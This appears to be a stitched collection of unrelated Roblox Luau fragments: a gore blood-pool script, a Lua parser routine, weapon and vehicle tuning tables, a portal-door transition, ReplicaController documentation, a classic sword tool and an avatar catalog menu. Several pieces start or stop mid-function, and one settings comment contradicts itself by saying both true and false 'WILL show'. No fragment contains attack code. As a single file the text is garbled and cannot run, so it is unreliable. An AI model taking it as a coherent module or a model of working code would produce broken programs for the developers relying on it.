char = workspace[plr.Name .. "-2"]
end
end
repeat wait() until math.floor(torso.Velocity.Magnitude) == 0
local baseBlacklist = char:GetChildren()
pcall(function ()
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Character then
for _,v in pairs(plr.Character:GetChildren()) do
if v:IsA("BasePart") then
table.insert(baseBlacklist, v)
elseif v:IsA("Accoutrement") then
table.insert(baseBlacklist, v:FindFirstChildWhichIsA("BasePart"))
elseif v:IsA("Tool") and v:FindFirstChild("Handle") then
table.insert(baseBlacklist, v.Handle)
end
end
end
if workspace:FindFirstChild(plr.Name .. "-2") then
for _,p in pairs(workspace[plr.Name .. "-2"]:GetChildren()) do
if p:IsA("BasePart") then
table.insert(baseBlacklist, p)
elseif p:IsA("Accoutrement") then
table.insert(baseBlacklist, p:FindFirstChildWhichIsA("BasePart"))
end
end
end
end
end)
if type(baseBlacklist) == "table" then
local limbCenter = false
base = workspace:FindPartsInRegion3WithIgnoreList(Region3.new(torso.Position - torso.Size * 2, torso.Position + torso.Size * 2), baseBlacklist, 1)[1]
if not base then
if char:FindFirstChild("Left Leg") then
base = char["Left Leg"]
limbCenter = true
elseif char:FindFirstChild("LeftFoot") then
base = char["LeftFoot"]
limbCenter = true
end
end
if base then
for _,limb in pairs(char:GetChildren()) do
if limb:IsA("BasePart") and limb.Name ~= "HumanoidRootPart" then
bloodPool(limb, limbCenter)
end
end
end
end
end)
end)
end)
end)
playerService.PlayerRemoving:Connect(function (plr)
if folder:FindFirstChild(plr.Name) then
folder[plr.Name]:Destroy()
end
end)
|
--[=[
@class Trove
A Trove is helpful for tracking any sort of object during
runtime that needs to get cleaned up at some point.
]=]
|
local Trove = {}
Trove.__index = Trove
|
--!nonstrict
--[[
TransparencyController - Manages transparency of player character at close camera-to-subject distances
2018 Camera Update - AllYourBlox
--]]
|
local MAX_TWEEN_RATE = 2.8 -- per second
local Util = require(script.Parent:WaitForChild("CameraUtils"))
|
------------------------------------------------------------------------
-- parse the parameters of a function call
-- * contrast with parlist(), used in function declarations
-- * used in primaryexp()
------------------------------------------------------------------------
|
function luaY:funcargs(ls, f)
local fs = ls.fs
local args = {} -- expdesc
local nparams
local line = ls.linenumber
local c = ls.t.token
if c == "(" then -- funcargs -> '(' [ explist1 ] ')'
if line ~= ls.lastline then
luaX:syntaxerror(ls, "ambiguous syntax (function call x new statement)")
end
luaX:next(ls)
if ls.t.token == ")" then -- arg list is empty?
args.k = "VVOID"
else
self:explist1(ls, args)
luaK:setmultret(fs, args)
end
self:check_match(ls, ")", "(", line)
elseif c == "{" then -- funcargs -> constructor
self:constructor(ls, args)
elseif c == "TK_STRING" then -- funcargs -> STRING
self:codestring(ls, args, ls.t.seminfo)
luaX:next(ls) -- must use 'seminfo' before 'next'
else
luaX:syntaxerror(ls, "function arguments expected")
return
end
assert(f.k == "VNONRELOC")
local base = f.info -- base register for call
if self:hasmultret(args.k) then
nparams = self.LUA_MULTRET -- open call
else
if args.k ~= "VVOID" then
luaK:exp2nextreg(fs, args) -- close last argument
end
nparams = fs.freereg - (base + 1)
end
self:init_exp(f, "VCALL", luaK:codeABC(fs, "OP_CALL", base, nparams + 1, 2))
luaK:fixline(fs, line)
fs.freereg = base + 1 -- call remove function and arguments and leaves
-- (unless changed) one result
end
|
-- ====================
-- SNIPER
-- Enable user to use scope
-- ====================
|
SniperEnabled = true;
FieldOfView = 12.5;
MouseSensitive = 0.05; --In percent
SpreadRedution = 1; --In percent.
|
---- Place specific settings ----
|
_placeOverrides[_places.lobby] = {
stages = _roleStages.Lobby,
default_game_mode = 'DEATHMATCH',
-- HACK: Skip the PlayerMatchInfo waiting for configuration override.
override = true,
}
_placeOverrides[_places.queue_default] = {
stages = _roleStages.Queue,
default_game_mode = 'DEFAULT',
}
_placeOverrides[_places.queue_deathmatch] = {
stages = _roleStages.Queue,
default_game_mode = 'DEATHMATCH',
}
_placeOverrides[_places.queue_teamDeathmatch] = {
stages = _roleStages.Queue,
default_game_mode = 'TEAM_DEATHMATCH',
}
_placeOverrides[_places.queue_freePlay] = {
stages = _roleStages.Queue,
disable_queue = true,
}
_placeOverrides[_places.gameplay_development] = {
stages = _roleStages.Gameplay,
}
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
|
local sdb = false
local decendents = {}
function playSound(v)
if not sdb then
sdb = true
decendents = {}
local children = v:GetChildren()
for i = 1,#children, 1 do
if children[i]:IsA'Sound' then
table.insert(decendents, children[i])
end
wait()
end
local soundClone = decendents[math.random(1, #decendents)]:Clone()
nameobj = soundClone.Name
soundClone.Parent = head
soundClone.Name = "Voice"
soundplaying = soundClone
soundClone:Play()
sdb = true
return soundClone
end
end
function removeSound()
for _, v in pairs(head:GetChildren())do
if v:IsA'Sound' then
soundplaying = nil
nameobj = nil
sdb = false
v:remove()
end
end
end
|
--/Barrel
|
module.IsSuppressor = false
module.IsFlashHider = true
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{69,60,41,30,56,58},t},
[49]={{69,60,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{69,60,41,30,56,58,20,19},t},
[59]={{69,60,41,59},t},
[63]={{69,60,41,30,56,58,23,62,63},t},
[34]={{69,60,41,39,35,34},t},
[21]={{69,60,41,30,56,58,20,21},t},
[48]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{69,60,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{69,60,41,39,35,34,32,31},t},
[56]={{69,60,41,30,56},t},
[29]={{69,60,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{69,60,41,39,35,34,32,31,29,28,44,45},t},
[57]={{69,60,41,30,56,57},t},
[36]={{69,60,41,39,35,37,36},t},
[25]={{69,60,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{69,61,71},t},
[20]={{69,60,41,30,56,58,20},t},
[60]={{69,60},t},
[8]={n,f},
[4]={n,f},
[75]={{69,61,71,72,76,73,75},t},
[22]={{69,60,41,30,56,58,20,21,22},t},
[74]={{69,61,71,72,76,73,74},t},
[62]={{69,60,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{69,60,41,39,35,37},t},
[2]={n,f},
[35]={{69,60,41,39,35},t},
[53]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{69,61,71,72,76,73},t},
[72]={{69,61,71,72},t},
[33]={{69,60,41,39,35,37,36,33},t},
[69]={{69},t},
[65]={{69,60,41,30,56,58,20,19,66,64,65},t},
[26]={{69,60,41,39,35,34,32,31,29,28,27,26},t},
[68]={{69,60,41,30,56,58,20,19,66,64,67,68},t},
[76]={{69,61,71,72,76},t},
[50]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{69,60,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{69,60,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{69,60,41,30,56,58,23},t},
[44]={{69,60,41,39,35,34,32,31,29,28,44},t},
[39]={{69,60,41,39},t},
[32]={{69,60,41,39,35,34,32},t},
[3]={n,f},
[30]={{69,60,41,30},t},
[51]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{69,60,41,30,56,58,20,19,66,64,67},t},
[61]={{69,61},t},
[55]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{69,60,41,39,40,38,42},t},
[40]={{69,60,41,39,40},t},
[52]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{69,60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{69,60,41},t},
[17]={n,f},
[38]={{69,60,41,39,40,38},t},
[28]={{69,60,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{69,60,41,30,56,58,20,19,66,64},t},
}
return r
|
--[=[
Utility functions involving brios and rx. Brios encapsulate the lifetime of resources,
which could be expired by the time a subscription occurs. These functions allow us to
manipulate the state of these at a higher order.
@class RxBrioUtils
]=]
|
local require = require(script.Parent.loader).load(script)
local Brio = require("Brio")
local BrioUtils = require("BrioUtils")
local Maid = require("Maid")
local Observable = require("Observable")
local Rx = require("Rx")
local RxBrioUtils = {}
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 5.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.00 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 0.72 ,
}
Tune.FDMult = 2 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Initialization
|
local lastActivePath = {}
if game.Workspace:FindFirstChild("BasePlate") then
game.Workspace.BasePlate:Destroy()
end
local tracksModel = Instance.new("Model")
tracksModel.Name = "Tracks"
tracksModel.Parent = game.Workspace
function packagePathModels()
local pathPackager = require(script.PathPackager)
while true do
local pathBase = game.Workspace:FindFirstChild("PathBase", true)
if pathBase then
pathPackager:PackageRoom(pathBase)
else
break
end
end
end
coroutine.wrap(function() packagePathModels() end)()
|
--!strict
|
local GuiService = game:GetService("GuiService")
local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local Workspace = game:GetService("Workspace")
local player = Players.LocalPlayer :: Player
local playerScripts = player:FindFirstChild("PlayerScripts") :: PlayerScripts
local playerModuleBase = playerScripts:WaitForChild("PlayerModule") :: ModuleScript
local playerModule = require(playerModuleBase) :: any
local playerGui = player.PlayerGui
local instances = script.Parent.Instances
local interior = instances:WaitForChild("Interior")
local exterior = instances:WaitForChild("Exterior")
local doorGui = instances.PortalDoorGui :: ScreenGui
local ENTRY_ANIMATION_TIME = 0.75
local ENTRY_CAMERA_END_OFFSET = CFrame.new(0, 1, -3) * CFrame.Angles(0, math.rad(180), 0)
local EXIT_ANIMATION_TIME = 0.75
local EXIT_CAMERA_START_OFFSET = CFrame.new(0, 1, 0)
local EXIT_CAMERA_END_OFFSET = CFrame.new(0, 2, -3) * CFrame.Angles(math.rad(-20), 0, 0)
local ENTRY_EXTERIOR_OFFSET = Vector3.new(0, 0, -3)
local ENTRY_INTERIOR_OFFSET = Vector3.new(0, 0, 3)
local EXIT_EXTERIOR_OFFSET = Vector3.new(0, 0, -8)
local ENTRY_TWEEN_INFO = TweenInfo.new(ENTRY_ANIMATION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.In)
local EXIT_TWEEN_INFO = TweenInfo.new(EXIT_ANIMATION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
local isWalkingThroughDoors = false
local function setCharacterControlsEnabled(enabled: boolean)
-- Set desktop controls enabled through the PlayerModule
local controls = playerModule:GetControls()
controls:Enable(enabled)
-- Set touch controls enabled
GuiService.TouchControlsEnabled = enabled
end
local function setCameraControlsEnabled(enabled: boolean)
-- Toggle between Scriptable and Custom camera types to disable or enable camera control respectively
if Workspace.CurrentCamera then
Workspace.CurrentCamera.CameraType = if enabled then Enum.CameraType.Custom else Enum.CameraType.Scriptable
end
end
local function setDoorOpen(door, open: boolean)
-- When a door is open, it should be able to be walked through and the proximity prompt should be disabled
-- When the door is closed, the opposite applies
door.Entrance.ProximityPrompt.Enabled = not open
door.Entrance.CanCollide = not open
end
local function walkIntoDoor(character, door)
local doorExteriorPosition = door.Entrance.CFrame:PointToWorldSpace(ENTRY_EXTERIOR_OFFSET)
local doorInteriorPosition = door.Entrance.CFrame:PointToWorldSpace(ENTRY_INTERIOR_OFFSET)
local humanoid = character:FindFirstChildOfClass("Humanoid") :: Humanoid?
if humanoid then
task.spawn(function()
-- Walk in front of the door before walking into it
humanoid:MoveTo(doorExteriorPosition)
humanoid.MoveToFinished:Wait()
humanoid:MoveTo(doorInteriorPosition)
end)
end
end
local function walkOutOfDoor(character, door)
local doorExteriorPosition = door.Entrance.CFrame:PointToWorldSpace(EXIT_EXTERIOR_OFFSET)
local humanoid = character:FindFirstChildOfClass("Humanoid") :: Humanoid?
if humanoid then
humanoid:MoveTo(doorExteriorPosition)
end
end
local function zoomIntoDoor(door)
local camera = Workspace.CurrentCamera :: Camera
local entrance = door.Entrance :: BasePart
local zoomCFrame = entrance.CFrame * ENTRY_CAMERA_END_OFFSET
local cameraTween = TweenService:Create(camera, ENTRY_TWEEN_INFO, { CFrame = zoomCFrame })
cameraTween:Play()
end
local function zoomOutOfDoor(door)
local camera = Workspace.CurrentCamera :: Camera
local entrance = door.Entrance :: BasePart
local zoomCFrame = entrance.CFrame * EXIT_CAMERA_END_OFFSET
local cameraTween = TweenService:Create(camera, EXIT_TWEEN_INFO, { CFrame = zoomCFrame })
camera.CFrame = entrance.CFrame * EXIT_CAMERA_START_OFFSET
cameraTween:Play()
end
local function fadeOutScreen()
local frame = doorGui:FindFirstChild("Frame") :: Frame
local fadeTween = TweenService:Create(frame, ENTRY_TWEEN_INFO, { BackgroundTransparency = 0 })
fadeTween:Play()
end
local function fadeInScreen()
local frame = doorGui:FindFirstChild("Frame") :: Frame
local fadeTween = TweenService:Create(frame, EXIT_TWEEN_INFO, { BackgroundTransparency = 1 })
fadeTween:Play()
end
local function walkThroughDoorsAsync(doorIn, doorOut)
if isWalkingThroughDoors then
return
end
if not player.Character then
return
end
local character = player.Character :: Model
isWalkingThroughDoors = true
-- Disable character and camera controls
setCharacterControlsEnabled(false)
setCameraControlsEnabled(false)
-- Disable interaction with the doors and allow them to be walked through
setDoorOpen(doorIn, true)
setDoorOpen(doorOut, true)
-- Play the walk in, camera, and screen fade animations
zoomIntoDoor(doorIn)
walkIntoDoor(character, doorIn)
fadeOutScreen()
task.wait(ENTRY_ANIMATION_TIME)
-- Teleport the character to the door they are exiting from
character:PivotTo(doorOut.Entrance.CFrame)
-- Play the walk out, camera, and screen fade animations
zoomOutOfDoor(doorOut)
walkOutOfDoor(character, doorOut)
fadeInScreen()
task.wait(EXIT_ANIMATION_TIME)
-- Re-enable character and camera controls
setCharacterControlsEnabled(true)
setCameraControlsEnabled(true)
-- Allow interaction with the doors and disallow them to be walked through
setDoorOpen(doorIn, false)
setDoorOpen(doorOut, false)
isWalkingThroughDoors = false
end
local function initialize()
exterior.Door.Entrance.ProximityPrompt.Triggered:Connect(function()
walkThroughDoorsAsync(exterior.Door, interior.Door)
end)
interior.Door.Entrance.ProximityPrompt.Triggered:Connect(function()
walkThroughDoorsAsync(interior.Door, exterior.Door)
end)
doorGui.Parent = playerGui
end
initialize()
|
--[[ The Module ]]
|
--
local BaseOcclusion: any = {}
BaseOcclusion.__index = BaseOcclusion
setmetatable(BaseOcclusion, {
__call = function(_, ...)
return BaseOcclusion.new(...)
end
})
function BaseOcclusion.new()
local self = setmetatable({}, BaseOcclusion)
return self
end
|
-- local Madwork = _G.Madwork
--[[
{Madwork}
-[ReplicaController]---------------------------------------
(STANDALONE VERSION)
Lua table replication achieved through write function wrapping
LISTENER WARNING: Making listeners disconnect their own script connections may result in other listeners
being skipped. Fix pending.
WARNING: Replica update listeners are not cleaned up automatically (e.g. when their value's parent table is set to nil)
unless the replica is destroyed. Either split one god replica into several replicas or carefully manage listeners
with :Disconnect() to prevent memory leaks. Does not apply to destroyed replicas.
Notice: Replicas are destroyed client-side when the server stops replicating the replica to the client or the
server destroys the replica completely. This means that the exact replica that was previously destroyed
client-side could be created again client-side (as a new object, though).
Replica replication guarantees:
- When the client receives first data, replica references received will have all nested replicas
already loaded and accessible through Replica.Children;
- When the client receives first data or receives selective replication of a top level replica,
.NewReplicaSignal and .ReplicaOfClassCreated() will be fired for all replicas in the order
they were created server-side from earliest to latest;
Members:
ReplicaController.NewReplicaSignal [ScriptSignal](Replica) -- Fired every time an replica is created client-side
ReplicaController.InitialDataReceivedSignal [ScriptSignal]() -- Fired once after the client finishes receiving initial replica data from server
ReplicaController.InitialDataReceived [bool] -- Set to true after the client finishes receiving initial replica data from server
Functions:
ReplicaController.RequestData() -- Requests the server to start sending replica data
ReplicaController.ReplicaOfClassCreated(replica_class, listener) --> [ScriptConnection] listener(replica)
ReplicaController.GetReplicaById(replica_id) --> replica / nil
Members [Replica]:
Replica.Data [table] (Read only) Table which is replicated
Replica.Id [number] Unique identifier
Replica.Class [string] Primary Replica identifier
Replica.Tags [table] Secondary Replica identifiers
Replica.Parent [Replica] or nil
Replica.Children [table]: {replica, ...}
Methods [Replica]:
-- Dictionary update listening: (listener functions can't yield)
Replica:ListenToChange(path, listener) --> [ScriptConnection] (new_value, old_value)
Replica:ListenToNewKey(path, listener) --> [ScriptConnection] (new_value, new_key)
* Notice: When Replica:SetValues(path, values) is used server-side, Replica:ListenToChange() and Replica:ListenToNewKey()
will only be invoked with changes to the top level keys in the "values" argument passed.
-- (Numeric) Array update listening:
Replica:ListenToArrayInsert(path, listener) --> [ScriptConnection] (new_index, new_value)
Replica:ListenToArraySet(path, listener) --> [ScriptConnection] (index, new_value)
Replica:ListenToArrayRemove(path, listener) --> [ScriptConnection] (old_index, old_value)
-- Write function listening:
Replica:ListenToWrite(function_name, listener) --> [ScriptConnection] (params...)
* Parameter description for "path":
[string] = "TableMember.TableMember" -- Roblox-style path
[table] = {"Players", 2312310, "Health"} -- Key array path
Replica:ListenToRaw(listener) --> [ScriptConnection] (action_name, path_array, params...)
-- ("SetValue", path_array, value)
-- ("SetValues", path_array, values)
-- ("ArrayInsert", path_array, value, new_index)
-- ("ArraySet", path_array, index, value)
-- ("ArrayRemove", path_array, index, old_value)
-- Signals:
Replica:ConnectOnClientEvent(listener) --> [ScriptConnection] (params...) -- listener functions can't yield
Replica:FireServer(params...) -- Fire a signal to server-side listeners for this specific Replica
-- Children:
Replica:ListenToChildAdded(listener) --> [ScriptConnection] listener(replica)
Replica:FindFirstChildOfClass(replica_class) --> [Replica] or nil
replica_class [string]
-- Debug:
Replica:Identify() --> [string]
-- Cleanup:
Replica:IsActive() --> is_active [bool] -- Returns false if the replica was destroyed
Replica:AddCleanupTask(task) -- Add cleanup task to be performed
Replica:RemoveCleanupTask(task) -- Remove cleanup task
* Parameter description for "Replica:AddCleanupTask()":
[function] -- Function to be invoked when the Replica is destroyed (function can't yield)
[RBXScriptConnection] -- Roblox script connection to be :Disconnect()'ed when the Replica is destroyed
[Object] -- Object with a :Destroy() method to be destroyed when the Replica is destroyed (destruction method can't yield)
-- Write function setters: (Calling outside a write function will throw an error)
Replica:SetValue(path, value)
Replica:SetValues(path, values)
Replica:ArrayInsert(path, value) --> new_index
Replica:ArraySet(path, index, value)
Replica:ArrayRemove(path, index) --> removed_value
Replica:Write(function_name, params...) --> return_params...
--]]
|
local SETTINGS = {
RequestDataRepeat = 10,
SetterError = "[ReplicaController]: Replica setters can only be called inside write functions",
}
local Madwork -- Standalone Madwork reference for portable version of ReplicaService/ReplicaController
do
local RunService = game:GetService("RunService")
local function WaitForDescendant(ancestor, instance_name, warn_name)
local instance = ancestor:FindFirstChild(instance_name, true) -- Recursive
if instance == nil then
local start_time = os.clock()
local connection
connection = ancestor.DescendantAdded:Connect(function(descendant)
if descendant.Name == instance_name then
instance = descendant
end
end)
while instance == nil do
if start_time ~= nil and os.clock() - start_time > 1
and (RunService:IsServer() == true or game:IsLoaded() == true) then
start_time = nil
warn("[" .. script.Name .. "]: Missing " .. warn_name .. " \"" .. instance_name
.. "\" in " .. ancestor:GetFullName() .. "; Please check setup documentation")
end
task.wait()
end
connection:Disconnect()
return instance
else
return instance
end
end
local RemoteEventContainer
if RunService:IsServer() == true then
RemoteEventContainer = Instance.new("Folder")
RemoteEventContainer.Name = "ReplicaRemoteEvents"
RemoteEventContainer.Parent = game:GetService("ReplicatedStorage")
else
RemoteEventContainer = WaitForDescendant(game:GetService("ReplicatedStorage"), "ReplicaRemoteEvents", "folder")
end
Madwork = {
GetShared = function(package_name, item_name)
-- Ignoring package_name as we're working without Madwork framework
return WaitForDescendant(script.Parent, item_name, "module")
end,
GetModule = function(package_name, module_name)
return WaitForDescendant(script.Parent, module_name, "module")
end,
SetupRemoteEvent = function(remote_name)
if RunService:IsServer() == true then
local remote_event = Instance.new("RemoteEvent")
remote_event.Name = remote_name
remote_event.Parent = RemoteEventContainer
return remote_event
else
return WaitForDescendant(RemoteEventContainer, remote_name, "remote event")
end
end,
Shared = {}, -- A Madwork package reference - ReplicaService will try to check this table
}
local MadworkScriptSignal = require(Madwork.GetShared("Madwork", "MadworkScriptSignal"))
Madwork.NewScriptSignal = MadworkScriptSignal.NewScriptSignal
Madwork.NewArrayScriptConnection = MadworkScriptSignal.NewArrayScriptConnection
end
|
-- ROBLOX TODO: ADO-1587, add snapshot version validation
-- local function validateSnapshotVersion(snapshotContents: { [string]: string)
-- local version = snapshotContents:match(SNAPSHOT_VERSION_REGEXP)
| |
--[[while (WingFlexing) do
WFL.Motor.DesiredAngle = 0
WFR.Motor.DesiredAngle = 0
WFL.Motor.DesiredAngle = 0.04
WFR.Motor.DesiredAngle = 0.04
wait(math.random(1,5))
WFL.Motor.DesiredAngle = 0
WFR.Motor.DesiredAngle = 0
WFL.Motor.DesiredAngle = 0.06
WFR.Motor.DesiredAngle = 0.06
wait(math.random(1,5))
end]]
|
Flex.OnServerEvent:Connect(WingFlex)
Straight.OnServerEvent:Connect(WingStraight)
|
-- conf = 0.000001*vvv
|
--xt = 0
else
conf = 0.000016*vvv
xt = hp.Value/4
end
if displacement.Value <= 3000 then
xans = (1.4*displacement.Value)
else
xans = (0.4*displacement.Value)+3000
end
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 4
local slash_damage = 4
local lunge_damage = 6
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.Torso
wait(.25)
swordOut()
wait(.25)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--//Parts//--
|
local tool = script.Parent
local handle = script.Parent.Handle
local hum = game.Players.LocalPlayer.Character.Humanoid
local blockingval = hum.Parent.Values.Blocking
|
--[=[
Fired when an item is added through addItemAsync.
Item ID and info table are passed to the event.
@prop itemAdded RBXScriptSignal
@within MerchBooth
]=]
|
itemEvents.itemAdded = Instance.new("BindableEvent")
|
--[=[
Promises, but without error handling as this screws with stack traces, using Roblox signals
See: https://promisesaplus.com/
@class Promise
]=]
|
local RunService = game:GetService("RunService")
|
--- Refs ---
|
local menu = script.Parent
local camPart = menu:WaitForChild("CamPart")
|
--[[
Hey, this is Cancels!
Today I bring to you the Cancels CoreGui Settings, an invention by ... well
... ROBLOX.
If you want to change a setting, do it like this!
"true" = WILL show.
"false" = WILL show.
Don't mess with anything else.
Bye, and cheers for taking!
-Cancels
--]]
|
Health_Bar = false
|
-- end
--end
|
local function loadCostumes()
costume = Costume.new(bodyFrame.Costume)
maid.PageMaid:GiveTask(costume)
maid.PageMaid:GiveTask(costume.Delete:Connect(function(description)
promptOverlay:PromptConfirm({
Title = "Delete this outfit?",
Text = "Are you sure you want to delete this outfit?"
}, function()
remoteEvent:FireServer("delete", description)
end)
end))
maid.PageMaid:GiveTask(costume.Wear:Connect(function(description)
remoteEvent:FireServer("wear", description)
end))
maid.PageMaid:GiveTask(function()
costume = nil
end)
end
local function loadConfig()
config = Config.new(bodyFrame.Settings)
maid.PageMaid:GiveTask(config)
maid.PageMaid:GiveTask(function()
config = nil
end)
end
local function loadAppearance()
colorList = ColorList.new(bodyFrame.Appearance.SkinTone, Colors, Wearing:GetTone())
maid.PageMaid:GiveTask(colorList)
maid.PageMaid:GiveTask(colorList.ItemSelected:Connect(function(index)
remoteEvent:FireServer("tone", index)
end))
scale = Scale.new(bodyFrame.Appearance.Scale, Wearing:GetScale())
maid.PageMaid:GiveTask(scale)
maid.PageMaid:GiveTask(scale.ScaleUpdated:Connect(function(scale, value)
remoteEvent:FireServer("scale", scale, value)
end))
maid.PageMaid:GiveTask(function()
colorList = nil
scale = nil
end)
end
local function categorySelectionFilter(button)
return button.LayoutOrder == categoryPageIndex
end
local function subcategorySelectionFilter(button)
return searchState.assetType == QueryMap.AssetType[button.Name]
end
local function updateButtonSelection(buttons, filterCallback)
for i, v in ipairs(buttons) do
v.ColorSpring.Target = filterCallback(v.Button) and 1 or 0
end
end
local function subcategoryChanged(button)
subcategoryPageIndex = button.LayoutOrder
searchState.search = ""
searchState.assetType = QueryMap.AssetType[button.Name]
searchState.wearing = false
search.Frame.TextBox.Text = searchState.search
end
local function loadSubcategory(subcategoryTabs)
for i, v in ipairs(subcategoryTabs:GetChildren()) do
if not v:IsA("GuiButton") then
continue
end
--local name = string.lower(v.Name)
if v.LayoutOrder == subcategoryPageIndex then
subcategoryChanged(v)
end
local button = TabButton.new(v, function(inputObject)
if searchState.assetType == QueryMap.AssetType[v.Name] then
return
end
subcategoryChanged(v)
updateButtonSelection(subcategoryButtons, subcategorySelectionFilter)
catalogList:Update(true)
end)
table.insert(subcategoryButtons, button)
end
maid.PageMaid.SubPage:GiveTask(function()
for i, v in ipairs(subcategoryButtons) do
v:Destroy()
end
table.clear(subcategoryButtons)
end)
updateButtonSelection(subcategoryButtons, subcategorySelectionFilter)
end
local function categoryPageChanged()
maid.PageMaid.SubPage:DoCleaning()
local currentPage = subcategoryPageLayout.CurrentPage
categoryPageIndex = currentPage.LayoutOrder
updateButtonSelection(categoryButtons, categorySelectionFilter)
--local name = string.lower(currentPage.Name)
searchState.search = ""
searchState.assetType = 0
searchState.wearing = false
search.Frame.TextBox.Text = searchState.search
if categoryPageIndex == 4 then
searchState.wearing = true
else
loadSubcategory(currentPage)
end
catalogList:Update(true)
end
local function loadMain()
maid.PageMaid.SubPage = Maid.new()
for i, v in ipairs(mainHeader.CategoryTabs:GetChildren()) do
if not v:IsA("GuiButton") then
continue
end
local button = TabButton.new(v, function(inputObject)
subcategoryPageIndex = 0
subcategoryPageLayout:JumpToIndex(v.LayoutOrder)
end)
table.insert(categoryButtons, button)
end
categoryPageChanged()
maid.PageMaid:GiveTask(subcategoryPageLayout:GetPropertyChangedSignal("CurrentPage"):Connect(categoryPageChanged))
